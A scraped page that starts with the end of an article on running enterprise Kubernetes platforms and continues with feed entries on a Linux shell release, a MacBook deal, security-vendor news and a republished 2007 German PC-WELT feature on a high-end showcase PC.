<p>Upgrading at enterprise scale can involve everything: workloads, admission controllers, CI/CD, service mesh, ingress, storage drivers, monitoring, security, custom controllers. <a href="https://kubernetes.io/releases/version-skew-policy/">Version skew policies</a> keep you between the lines, but that’s just the beginning. The real question is: can you test your whole stack?</p>



<p>Good upgrade programs need a repeatable process, staging environments that actually look like production, and clear communication so teams know what to expect. The worst upgrade process is the one that relies on heroes to pull it off at the last second. A strong platform turns upgrades into routine.</p>



<h2 class="wp-block-heading">Reliability: Kubernetes helps, but it doesn’t guarantee it</h2>



<p>Yes, Kubernetes restarts crashed containers, reschedules pods and does rolling deployments. But it doesn’t make a bad app reliable.</p>



<p>A poorly coded app will fail on Kubernetes just like anywhere else. Bad readiness or liveness probes? Your app gets traffic too soon. No graceful shutdown? Requests drop during deploy. Forgot pod disruption budgets? The app goes down during node maintenance. A flaky dependency? It will cascade through your services even if all your pods look healthy.</p>



<p>The mature approach is setting service-level objectives and making reliability a product of both platform and engineering. Cluster health isn’t user experience. That green status page can hide a lot of pain.</p>



<h2 class="wp-block-heading">The platform team is a product team</h2>



<p>Here’s the biggest lesson I’ve picked up is that running Kubernetes at enterprise scale isn’t really about the tech. One cluster? Maybe one expert can handle that. But for a full enterprise platform, you need a product mindset. The platform team serves customers such as engineers, security, compliance, finance and business. Everyone wants something a bit different.</p>



<p>Developers want speed and reliability. Security wants oversight. Finance wants transparency. Compliance wants proof. Ops wants predictability. The business wants all of those.</p>



<p>The platform team has to pull those threads together with APIs, docs, dashboards, paved roads, support and feedback. That also means saying “no” to the unique snowflake patterns that create chaos later. Kubernetes is powerful. But it doesn’t replace organizational discipline. That’s still on the shoulders of engineering leaders. The real challenge at enterprise scale isn’t memorizing every API object. It’s building a system where any team can ship safely without needing to be Kubernetes experts themselves.</p>



<p>When you reach that point, Kubernetes stops being just a cluster. It becomes your platform.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.infoworld.com/expert-contributor-network/">Want to join?</a></strong></p>
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<title><![CDATA[DankMaterialShell (DMS) 1.5 "The Wolverine" Released - A Linux shell for Wayland Compositors]]></title>
<description><![CDATA[DMS v1.5 has officially been released. This is the largest DMS release to date and packs numerous new features, performance improvements, and broad changes/enhancements to the overall ecosystem. Highlights:  Frame and Connected Mode - An alternative UI for DMS that gives the option to connect all...]]></description>
<link>https://tsecurity.de/de/3655741/linux-tipps/dankmaterialshell-dms-15-the-wolverine-released-a-linux-shell-for-wayland-compositors/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655741/linux-tipps/dankmaterialshell-dms-15-the-wolverine-released-a-linux-shell-for-wayland-compositors/</guid>
<pubDate>Thu, 09 Jul 2026 03:54:28 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>DMS v1.5 has officially been released. This is the largest DMS release to date and packs numerous new features, performance improvements, and broad changes/enhancements to the overall ecosystem.</p> <p>Highlights:</p> <ul> <li><strong>Frame and Connected Mode</strong> - An alternative UI for DMS that gives the option to connect all layer-shell surfaces as a single unified-view. Brings with it more animation and theme options to customize the experience</li> <li><strong>Dank Calendar</strong> - A standalone app that supports events (VEVENT in CalDav), tasks (VTODO in CalDav) with numerous providers - Google, iCloud, Microsoft, Caldav, iCal stream, and Evolution Data Server, is integrated with DMS 1.5 widgets natively when it is running and available</li> <li><strong>Window Rules</strong> - Expanded significantly and support brought to Hyprland and MangoWM</li> <li><strong>New Shadow System</strong> - New shader-based shadow system replaces the CPU-heavy FBO shadows and brings numerous new options for configuration</li> <li><strong>XDG-Autostart Management</strong> - Manage desktop apps that autostart with your session. DMS is not launching these apps, it still depends on a session runner such as systemd or dex. But adding/managing these applications is now integrated</li> <li><strong>Default Applications</strong> - Manage default applications for various mime-types, as well as an enhanced DMS picker (for example, a menu that opens and allows you to choose Firefox, Chrome, Brave for opening links)</li> <li><strong>Plugin Ecosystem Enhancements</strong> - A forum, upvote system, and moderation system has been implemented for the DMS plugin registry which should aid greatly with finding high quality plugins, filtering plugins, and reporting issues with plugins.</li> <li><strong>Hyprland Lua Configuration</strong> - is now supported and all configurations managed by DMS are now written in the Lua format</li> <li><strong>MangoWM Support Enhanced</strong> - Better support for MangoWM - including default configuration options, window rule management, and using the new IPC interface instead of dwl-ipc protocol.</li> </ul> <p>There's a lot more than that, see the blog for the full details. Some distribution packages will trail behind the official release as maintainers need time to update their packages.</p> <p>Thanks to all the contributors and enjoy!</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/bbedward"> /u/bbedward </a> <br> <span><a href="https://danklinux.com/blog/v1-5-release">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1ur2ttk/dankmaterialshell_dms_15_the_wolverine_released_a/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Apple's M5 Pro 16-inch MacBook Pro with 48GB RAM plunges to $3,049]]></title>
<description><![CDATA[Apple's latest 16-inch MacBook Pro with an M5 Pro chip and upgrade to 48GB of RAM is discounted to $3,049.99, a markdown of $550 off the popular configuration.Save $550 on an M5 Pro MacBook Pro with 48GB RAM - Image credit: AppleAmazon is slashing $550 off an upgraded 16-inch MacBook Pro with a b...]]></description>
<link>https://tsecurity.de/de/3654725/ios-mac-os/apples-m5-pro-16-inch-macbook-pro-with-48gb-ram-plunges-to-3049/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654725/ios-mac-os/apples-m5-pro-16-inch-macbook-pro-with-48gb-ram-plunges-to-3049/</guid>
<pubDate>Wed, 08 Jul 2026 17:10:15 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple's latest 16-inch MacBook Pro with an M5 Pro chip and upgrade to 48GB of RAM is discounted to $3,049.99, a markdown of $550 off the popular configuration.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68196-143767-16-inch-macbook-pro-m5-pro-48gb-ram-xl.jpg" alt="MacBook Pro laptop with dark abstract pattern on screen and bold white text M5 Pro 48GB RAM, set against a dark gradient background highlighting powerful highmemory notebook computer." height="720"><br><span>Save $550 on an M5 Pro MacBook Pro with 48GB RAM - Image credit: Apple</span></div><br>Amazon is <strong><a href="https://www.amazon.com/gp/product/B0GR14G9PM?th=1&amp;tag=apinsiderdeals-20" rel="nofollow" target="_blank">slashing $550 off</a></strong> an upgraded 16-inch MacBook Pro with a bump up to 48GB of RAM. Released in March 2026, the M5 Pro 16-inch MacBook Pro features higher unified memory bandwidth compared to the last-gen model and is equipped with Apple's N1 chip for Wi-Fi 7 and Bluetooth 6 support.<br><br><a href="https://www.amazon.com/gp/product/B0GR14G9PM?th=1&amp;tag=apinsiderdeals-20" rel="nofollow" class="deal-highlight">Save $550 on 16" MacBook Pro 48GB RAM</a><br><br><br> <a href="https://appleinsider.com/articles/26/07/08/apples-m5-pro-16-inch-macbook-pro-with-48gb-ram-plunges-to-3049?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244903?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
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<title><![CDATA[Riverbird integriert Cybersicherheit von Securepoint in RMM-Plattform Imperia - CRN DE]]></title>
<description><![CDATA[Deutscher Stack aus Fernwartung und IT-Sicherheit – "ohne Hintertüren" ... "Die Anbindung an Imperia macht unsere Unified Security im ...]]></description>
<link>https://tsecurity.de/de/3654595/it-security-nachrichten/riverbird-integriert-cybersicherheit-von-securepoint-in-rmm-plattform-imperia-crn-de/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654595/it-security-nachrichten/riverbird-integriert-cybersicherheit-von-securepoint-in-rmm-plattform-imperia-crn-de/</guid>
<pubDate>Wed, 08 Jul 2026 16:23:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Deutscher Stack aus Fernwartung und <b>IT</b>-<b>Sicherheit</b> – "ohne Hintertüren" ... "Die Anbindung an Imperia macht unsere Unified Security im ...]]></content:encoded>
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<title><![CDATA[How to Choose the Right Unified Endpoint Management (UEM) Software for an Organization?]]></title>
<description><![CDATA[In this post, I will show you how to choose the right Unified Endpoint Management (UEM) software for an organization? For IT teams, juggling five different tools to manage laptops, smartphones, tablets, and IoT devices across varied regions can be quite exhausting.  This fragmented approach is ex...]]></description>
<link>https://tsecurity.de/de/3654580/it-security-nachrichten/how-to-choose-the-right-unified-endpoint-management-uem-software-for-an-organization/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654580/it-security-nachrichten/how-to-choose-the-right-unified-endpoint-management-uem-software-for-an-organization/</guid>
<pubDate>Wed, 08 Jul 2026 16:23:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In this post, I will show you how to choose the right Unified Endpoint Management (UEM) software for an organization? For IT teams, juggling five different tools to manage laptops, smartphones, tablets, and IoT devices across varied regions can be quite exhausting.  This fragmented approach is exactly why so many organizations are searching for ways […]</p>
<p>The post <a href="https://secureblitz.com/choose-the-right-unified-endpoint-management-uem-software/">How to Choose the Right Unified Endpoint Management (UEM) Software for an Organization?</a> appeared first on <a href="https://secureblitz.com/">SecureBlitz Cybersecurity</a>.</p>]]></content:encoded>
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<title><![CDATA[Vor 19 Jahren: PC-WELT verlost die Höllenmaschine 2 für 20.000 Euro]]></title>
<description><![CDATA[Hinweis: Dieser Artikel erschien im März 2007 auf pcwelt.de. Anlässlich unseres 20‑jährigen Jubiläums haben wir mittels der Wayback Machine des Internet Archive das zeitgeschichtliche Dokument restauriert. Wir haben alle Hyperlinks im Text belassen – sofern sie noch auf historische Inhalte führen...]]></description>
<link>https://tsecurity.de/de/3653681/it-nachrichten/vor-19-jahren-pc-welt-verlost-die-hoellenmaschine-2-fuer-20000-euro/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3653681/it-nachrichten/vor-19-jahren-pc-welt-verlost-die-hoellenmaschine-2-fuer-20000-euro/</guid>
<pubDate>Wed, 08 Jul 2026 10:33:01 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Hinweis: Dieser Artikel erschien im März 2007 auf pcwelt.de. Anlässlich unseres 20‑jährigen Jubiläums haben wir mittels der <a href="https://web.archive.org/" target="_blank" rel="noreferrer noopener">Wayback Machine des Internet Archive</a> das zeitgeschichtliche Dokument restauriert. Wir haben alle Hyperlinks im Text belassen – sofern sie noch auf historische Inhalte führen.</p>



<p>Hier geht es direkt zum <a href="https://www.pcwelt.de/hmx" target="_blank" rel="noreferrer noopener">Gewinnspiel der aktuellen Höllenmaschine HMX 6 im Gesamtwert von 40.000 Euro</a>. Bestens informiert bleiben Sie mit unserem <a href="https://www.pcwelt.de/newsletter-anmeldung" target="_blank" rel="noreferrer noopener">HMX-6-Newsletter</a> – aber vergessen Sie nicht, die Anmeldung via E-Mail zu bestätigen. Und nun viel Spaß mit der zweiten Höllenmaschine:</p>



<p>Wir lassen die Katze aus dem Sack: Unser Traumrechner ist vollgestopft mit allem, was aktuell, gut und teuer ist. Jetzt geht’s los: Activate!</p>



<p>Alles neu, alles besser: Die Höllenmaschine 2 der PC-WELT geht weit über das hinaus, was das <a href="https://www.pcwelt.de/article/3139027/vor-20-jahren-die-erste-hoellenmaschine-der-pc-welt-2006.html" target="_blank" rel="noreferrer noopener">Vorgänger-Modell</a> bot: Zu den Highlights gehören die zwei Direct-X-10-Grafikkarten, die beiden Quad-Core-Prozessoren, der Blue-Ray-Brenner und die rasanten SAS-Festplatten.</p>



<p>Auch mit einem Standardgehäuse geben wir uns nicht mehr zufrieden: Diesmal musste es ein Maßanzug sein, den wir beim Fachmann bestellten. Der war alles andere als günstig – allein die Materialkosten summieren sich auf knapp 3600 Euro. </p>



<p>Wir werden Sie umfassend über die Höllenmaschine 2 informieren. Dazu haben wir die Übersichtsseite www.pcwelt.de/hoelle eingerichtet. Dort finden Sie tagesaktuell Tests, Hintergrundberichte, Video-Clips und Downloads rund um den 20.000-Euro-Superrechner – etwa unsere Titelmelodie “Activate” als <a href="https://web.archive.org/web/20070315054309/http:/www.pcwelt.de/downloads/entertainment_spiele/unterhaltung/73303/index.html">MP3-Download</a>. Doch jetzt geht’s endlich los: Wir stellen Ihnen den Rechnertraum in allen Details vor.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">

</div></figure>



<h2 class="wp-block-heading toc">Prozessor: Dual-Quad-Core</h2>



<p>Zwei Workstation-Prozessoren des Typs <a href="https://web.archive.org/web/20070315054035/ftp:/download.intel.com/products/processor/xeon/dc53kprodbrief.pdf">Intel Xeon DP 5355</a> zum Stückpreis von 1200 Euro gehen auch bei rechenintensiven Profi-Programmen nicht in die Knie. Die Vier-Kern-CPUs arbeiten mit einem Prozessortakt von 2,67 GHz und greifen auf jeweils 8 MB L2-Cache zurück. Der Systemtakt des Intel Xeon 5355 beträgt 333 (effektiv 1333) MHz. Damit erreicht die Datenkapazität, die jeder der beiden Prozessoren pro Sekunde mit dem System austauschen kann, bis zu 10,5 GB. Der Xeon DP 5355 unterstützt <a href="https://web.archive.org/web/20070315054035/http:/www.tecchannel.de/server/hardware/402269/">FB-DIMM-Speicher</a> der DDR2-Spezifikationen PC533 und PC667.</p>



<p>Das Prozessor-Duo basiert auf Intels rechenstarker <a href="https://web.archive.org/web/20070315054035/http:/www.tecchannel.de/technologie/prozessoren/441760/">Core-Architektur</a>, die sich dank 65-Nanometer-Fertigung und ausgeklügelter Stromspartechniken durch einen genügsamen Energieverbrauch auszeichnet: Unter anderem kann der Vierkern-Prozessor inaktive Teile in jedem Rechenkern abschalten (Intelligent Power Capability), jeden Kern unabhängig voneinander in den stromsparenden Bereitschaftszustand versetzen (Enhanced Halt State) und jedem Rechenkern die Taktfrequenz und Kernspannung zuweisen, die für die aktuell benötigte Rechenleistung notwendig ist (Enhanced Intel Speedstep). Dank dieser Stromspartricks liegt die Thermal Design Power (TDP) des Quad-Cores bei lediglich 120 Watt – sensationell niedrig im Vergleich zu einer Einkern-CPU wie beispielsweise dem Pentium 4 670 (<a href="https://web.archive.org/web/20070315054035/http:/www.pcwelt.de/tests/hardware-tests/prozessoren/114491/">Test</a>), der mit 115 Watt fast genauso viel Energie verbrät.</p>



<p>Mehr Möglichkeiten: Der Xeon DP 5355 unterstützt die Virtualisierungs-Technik <a href="https://web.archive.org/web/20070315054035/http:/www.intel.com/technology/virtualization/index.htm">Vanderpool</a> sowie 32- und 64-Bit-Betriebssysteme – interessant für Nutzer, die unter anderem virtuelle Server mit unterschiedlichen Betriebssystemen einrichten möchten. Mit einem Achtkern-System lässt sich da so einiges realisieren. Welche Erfahrungen wir beim Experimentieren mit Virtualisierungs-Software wie Xen und VM-Ware gemacht haben, erfahren Sie in Kürze in einem weiteren Artikel, der die Leistungsfähigkeit der Höllenmaschine 2 beleuchtet.</p>



<p>Ein System mit so vielen Hardware-Komponenten wie unsere Höllenmaschine II verlangt nach einem besonders anschlussfreudigen Untersatz: Wir haben uns für die Tyan Tempest i5000XL (S2692) mit dem Intel-Chipsatz 5000X/6321ESB entschieden. Die Workstation-Hauptplatine besitzt zwei Prozessor-Steckplätze für Sockel-771-CPUs und hat mit ihrem CEB-Formfaktor eine Übergröße von 305 x 259 Millimetern.</p>



<p>Die Tempest i5000XL wartet mit zahlreichen Schnittstellen auf: Dazu gehören unter anderem ein 8x- und zwei 16x-PCI-Express- sowie zwei PCI-X-Steckplätze. Über interne Controller stehen ein PATA- und ein Floppy-Port sowie sechs SATA2- und acht USB-2.0-High-Speed-Schnittstellen zur Verfügung. Ebenfalls integriert: eine Gigabit-Ethernet-Buchse und der HD-Audio-Controller Realtek ALC888. Vier Speicherbänke nehmen insgesamt bis zu 16 GB fully buffered DDR2-667-SDRAM auf.</p>



<p>Volle Kontrolle: Das Phoenix-BIOS der Workstation-Hauptplatine beherrscht netzwerkgestützte Funktionen wie „Serial Console Redirect“ und „Preboot Execution Environment“ (PXE). Hinzu kommt eine frei konfigurierbare Monitoring-Funktion. Wer will, kann außerdem das <a href="https://web.archive.org/web/20070315054444/http:/de.wikipedia.org/wiki/Trusted_Platform_Module">Trusted Platform Module</a> (TPM) Infineon SLB9635TT aktivieren, das im Intel-Chipsatz integriert ist.</p>



<h2 class="wp-block-heading toc">Grafik: Dual Direct X 10</h2>



<p>Eine Direct-X-10-Grafiklösung ist Pflicht für unseren 20.000-Euro-Rechner. Wir haben uns für zwei Grafikkarten des Typs <a href="https://web.archive.org/web/20070315054738/http:/www.pny.eu/products.php?section=product&amp;categoryid=7&amp;subcategoryid=64&amp;productid=95">PNY Verto Geforce 8800 GTX</a> entschieden. Der Grafikchip Geforce 8800 GTX besteht aus 681 Millionen Transistoren.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a4e0b0999014"}' data-wp-interactive="core/image" class="wp-block-image size-full wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/PNY-Verto-Geforce-8800-GTX.jpg?quality=50&amp;strip=all" alt="PNY Verto Geforce 8800 GTX" class="wp-image-3182066" width="819" height="614" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">PNY</p></div>



<p>Damit übertrifft die Komplexität von Nvidias <a href="https://web.archive.org/web/20070315054738/http:/www.pcwelt.de/tests/hardware-tests/pci-express-grafikkarten/63061/">Geforce-8-Generation</a> alle GPUs (Graphic Processing Unit), die bisher auf den Markt gekommen sind. Zum Vergleich: AMDs Spitzenmodell Radeon X1950 XTX stehen mit 384 Millionen nur rund die Hälfte an Transistoren zur Verfügung. Und der hauseigene Vorgänger Geforce 7900 GTX kommt lediglich auf 278 Millionen Schaltkreise.</p>



<p>Die unglaubliche Komplexität liegt in der Architektur begründet, die Nvidia komplett neu entwickelt hat. Beim Geforce 8 handelt es sich um Nvidias ersten Grafikchip mit der sogenannten „Unified Shader Architecture“. Es gibt also keine spezialisierten Pixel- und Vertex-Shader mehr, sondern universell einsetzbare Shader, die dynamisch die Rechenarbeit übernehmen. Insgesamt werkeln im Geforce 8800 GTX satte 128 dieser Rechenwerke, die Nvidia Streaming-Prozessoren (SP) getauft hat. Die SPs fungieren nicht nur als Pixel- oder Vertex-Shader, sondern können auch die Geometrie- und Physik-Berechnung übernehmen.</p>



<p>Der eigentliche Takt des Grafikchips beträgt beim Geforce 8800 GTX nur 575 MHz. Die Taktfrequenz der Streaming-Prozessoren des Nvidia-Flaggschiffs liegt hingegen bei außerordentlichen 1350 MHz. Sogenannte Threading-Einheiten teilen die anfallenden Rechenaufgaben dynamisch in kleine Stücke auf und schicken sie an die Streaming-Prozessoren. Nvidia nennt diese Technik „Gigathread Technology“.</p>



<p>Jede PNY-Grafikkarte (<a href="https://web.archive.org/web/20070315054738/http:/www.pcwelt.de/tests/hardware-tests/pci-express-grafikkarten/63070/">PC-WELT-Test</a>) greift auf 768 MB GDDR3-SDRAM (effektiver Takt: 1800 MHz) zu, das an einen 384 Bit breiten Speicherbus angebunden ist. Damit erhöht sich die theoretisch maximale Speicherbandbreite auf heftige 86,4 GB/s. Hoch aufgelöste Filme auf Blu-Ray- und HD-DVD-Medien kann die Karte dank integriertem HDCP-Chip ebenfalls ausgeben.</p>



<p>Wermutstropfen: Derzeit lässt sich unter Windows Vista und XP nur eine Karte ansprechen, da Nvidia die SLI-Funktion für den 5000X-Chipsatz von Intel nicht freigeschaltet hat. Nvidias Treiber-Entwicklerteam kümmert sich erst einmal um die hauseigenen Hauptplatinen-Chipsätze und programmiert fieberhaft an einem SLI-fähigen Direct-X-10-Treiber für Windows Vista. Da Nvidia und Intel aber seit der <a href="https://web.archive.org/web/20070315054738/http:/www.pcwelt.de/news/business/52087/index.html">ATI-Übernahme von AMD</a> enger zusammenarbeiten, sind wir zuversichtlich, dass Nvidia – sobald die Hausaufgaben erledigt sind – auch eine SLI-Lösung für Intel-Chipsätze anbietet. Und wenn’s bei Nvidia etwas länger dauern sollte – freigeschaltete SLI-Treiber für die Geforce-7-Baureihe waren ja auch recht flott auf den einschlägigen Websites erhältlich …</p>



<h2 class="wp-block-heading toc">Ausstattung der Höllenmaschine 2 im Überblick</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td><strong>Komponente</strong></td><td><strong>Modell</strong></td><td><strong>Preis</strong> <strong>(Euro)</strong> am 3.3.2007</td></tr><tr><td>Hauptplatine</td><td>Tyan Tempest i5000XL (S2692)</td><td>400</td></tr><tr><td>Prozessor</td><td>2 x Intel Xeon 5355 Quad-Core</td><td>2400</td></tr><tr><td>Speicher</td><td>4 x 1 GB Corsair registered PC667 FB-DIMM</td><td>850</td></tr><tr><td>Grafik</td><td>2 x PNY Verto Geforce 8800 GTX mit je 768 MB GDDR3-Speicher</td><td>1100</td></tr><tr><td>Raid-Controller</td><td>Adaptec 4800SAS/128, PCI-X</td><td>850</td></tr><tr><td>Festplatten</td><td>4 x 147 GB Seagate Cheetah 15K.4 ST3146854SS, SAS, Raid 10</td><td>2600</td></tr><tr><td></td><td>4 x 750 GB Seagate Barracuda ST3750640AS, SATA II, Raid 10</td><td>1400</td></tr><tr><td></td><td>Seagate Pushbutton External Hard Drive 750 GB, Firewire/USB 2.0</td><td>400</td></tr><tr><td>Brenner</td><td>Blu-ray-Laufwerk Philips SPD7000BD, SATA</td><td>850</td></tr><tr><td></td><td>DVD-Laufwerk Samsung SH-S182A, PATA</td><td>50</td></tr><tr><td>Gehäuse</td><td>PC-WELT Höllenmaschine 2 von Heiko Polaczek (nur Materialwert)</td><td>3600</td></tr><tr><td>Wasserkühlung</td><td>Innovatek Triple Radiator, Tank-O-Matik, Eheim-Pumpe HPPS Plus, Flowmeter Pro 3.6 sowie CPU-, Grafikchip- und Festplattenkühler</td><td>1950</td></tr><tr><td>Netzteil</td><td>Enermax Galaxy EGA1000EWL, 1000 Watt</td><td>350</td></tr><tr><td>Soundkarte</td><td>Creative X-Fi Fatal1ty Edition</td><td>200</td></tr><tr><td>Boxensystem</td><td>Creative Gigaworks Progamer G550W</td><td>450</td></tr><tr><td>Bildschirme</td><td>BenQ FP241W 24-Zoll-TFT</td><td>1100</td></tr><tr><td></td><td>integrierter 8-Zoll-LCD-Touchscreen VE-XVT-8</td><td>250</td></tr><tr><td>Betriebssysteme</td><td>Microsoft Windows Vista Ultimate</td><td>550</td></tr><tr><td></td><td>Open Suse Linux 10.2</td><td>50</td></tr><tr><td>Eingabegeräte</td><td>Logitech di Novo Edge Tastatur &amp; MX Revolution Maus</td><td>300</td></tr></tbody></table></figure>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a4e0b0999dca"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/06/HM2-Titel.jpg?quality=50&amp;strip=all&amp;w=1200" alt="PC-WELT Höllenmaschine 2 aus dem Jahre 2007" class="wp-image-3162271" width="1200" height="553" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption">Die Höllenmaschine 2 aus dem Jahr 2007</figcaption></figure><p class="imageCredit">PC-WELT</p></div>



<h2 class="wp-block-heading toc">RAM und HDDs: FB-DIMM und Quad-SAS</h2>



<p>Wir bestücken alle vier Speicherbänke der Workstation-Hauptplatine mit Fully Buffered DDR2-667-SDRAM – und zwar mit den 1-GB-Modulen <a href="https://web.archive.org/web/20070315055004/http:/www.corsair.com/corsair/products/specs/CM73DD1024R.pdf">Corsair CM73DD1024R-667</a>. Fully-Buffered-Speicher nutzt zusätzliche Datenleitungen für die Datenintegritätsprüfung. Für eine schnellere Datenverarbeitung laufen die vier Speichermodule paarweise im Zwei-Kanal-Modus.</p>



<p>Das schwächste Glied in aktuellen PCs ist meist die Festplatte. Nicht so bei der Höllenmaschine 2: Sie vertraut auf superschnelle Server-Laufwerke, die die Punkt-zu-Punkt-Verbindung Serial Attached SCSI (SAS) nutzen. SAS ist der Nachfolger der parallelen SCSI-Schnittstelle und bietet eine theoretische Datentransferrate von bis zu 300 MB/s, die sich im Gegensatz zu SATA II in der Praxis mit Raid-Konfigurationen auch tatsächlich annähernd erreichen lässt.</p>



<p>Für die Höllenmaschine fiel unsere Wahl auf das Modell <a href="https://web.archive.org/web/20070315054634/http:/www.seagate.com/docs/pdf/datasheet/disc/ds_cheetah15k.4.pdf">Seagate Cheetah 15K.4 ST3146854SS</a> mit 147 GB formatierter Kapazität. Preis pro Stück: knapp 650 Euro. Das 3,5-Zoll-Laufwerk rotiert mit 15 000 Umdrehungen pro Minute, der Datenpuffer beträgt 8 MB. Die durchschnittliche Zugriffszeit der Cheetah 15K.4 liegt laut Hersteller bei 2 Millisekunden. Damit wäre das Seagate-Laufwerk mehr als doppelt so fix wie die bisher schnellste von uns getestete SATA-Festplatte.</p>



<p>Die Seagate Cheetah 15K.4 ST3146854SS besitzt vier Datenscheiben mit jeweils zwei Schreib-Lese-Köpfen. Die <a href="https://web.archive.org/web/20070315054634/http:/www.pcwelt.de/know-how/tipps_tricks/hardware/festplatten/66306/index.html">Zuverlässigkeit</a> respektive MTBF (Mean Time Between Failures) der SAS-Laufwerke gibt Seagate mit 1,4 Millionen Betriebsstunden an. Die Annualized Failure Rate (AFR), also die Wahrscheinlichkeit, dass ein Laufwerk innerhalb eines Jahres ausfällt, liegt laut Hersteller bei 0,62 Prozent.</p>



<p>Noch mehr Tempo kitzeln wir aus der Cheetah 15K.4, indem wir gleich vier der SAS-Laufwerke mittels der PCI-X-Controller-Karte <a href="https://web.archive.org/web/20070315054634/http:/www.adaptec.com/de-DE/products/sas/raid/SAS-4800/index.htm">Adaptec 4800SAS/128</a> zu einem Raid-10-Verbund koppeln. Zwei Laufwerke fungieren dabei als RAID-0-Verbund: Dadurch lässt sich im Idealfall die Datentransferrate fast verdoppeln, da der SAS-Controller den Datenstrom in kleine Pakete zerlegt (Striping), die er simultan auf das Plattenduo schreibt beziehungsweise davon liest. Um eine hundertprozentige Datensicherheit zu gewährleisten, arbeiten die beiden anderen SAS-Laufwerke im RAID-1-Modus und spiegeln so den Datenbestand des RAID-0-Verbundes.</p>



<p>Umsonst gibt’s die Datensicherheit allerdings nicht: Durch den RAID-10-Verbund halbiert sich die nutzbare Kapazität des Laufwerk-Quartetts auf knapp 300 GB. Damit Systemprogramme und Applikationen möglichst verzögerungsfrei starten und arbeiten, haben wir die Betriebssysteme sowie alle Programme und Benchmarks auf der SAS-Partition installiert.</p>



<p>Ausreichend Platz für umfangreiche Musik- und Video-Sammlungen gibt’s auf der zweiten Partition der Höllenmaschine 2: Sie besteht aus vier 750-GB-Laufwerken des Typs <a href="https://web.archive.org/web/20070315054351/http:/www.seagate.com/ww/v/index.jsp?locale=de-DE&amp;name=Barracuda_7200.10_SATA_750.3_GB&amp;vgnextoid=ea7bc4d44018e010VgnVCM100000dd04090aRCRD&amp;vgnextchannel=a32a2f290c5fb010VgnVCM100000dd04090aRCRD&amp;reqPage=Model">Seagate Barracuda 7200.10 ST3750640AS</a>, die wir ebenfalls zu einem Raid-10-Verbund gebündelt haben. Die Festplatten bieten dann zusammen eine formatierte Kapazität von knapp 1,4 Terabyte.</p>



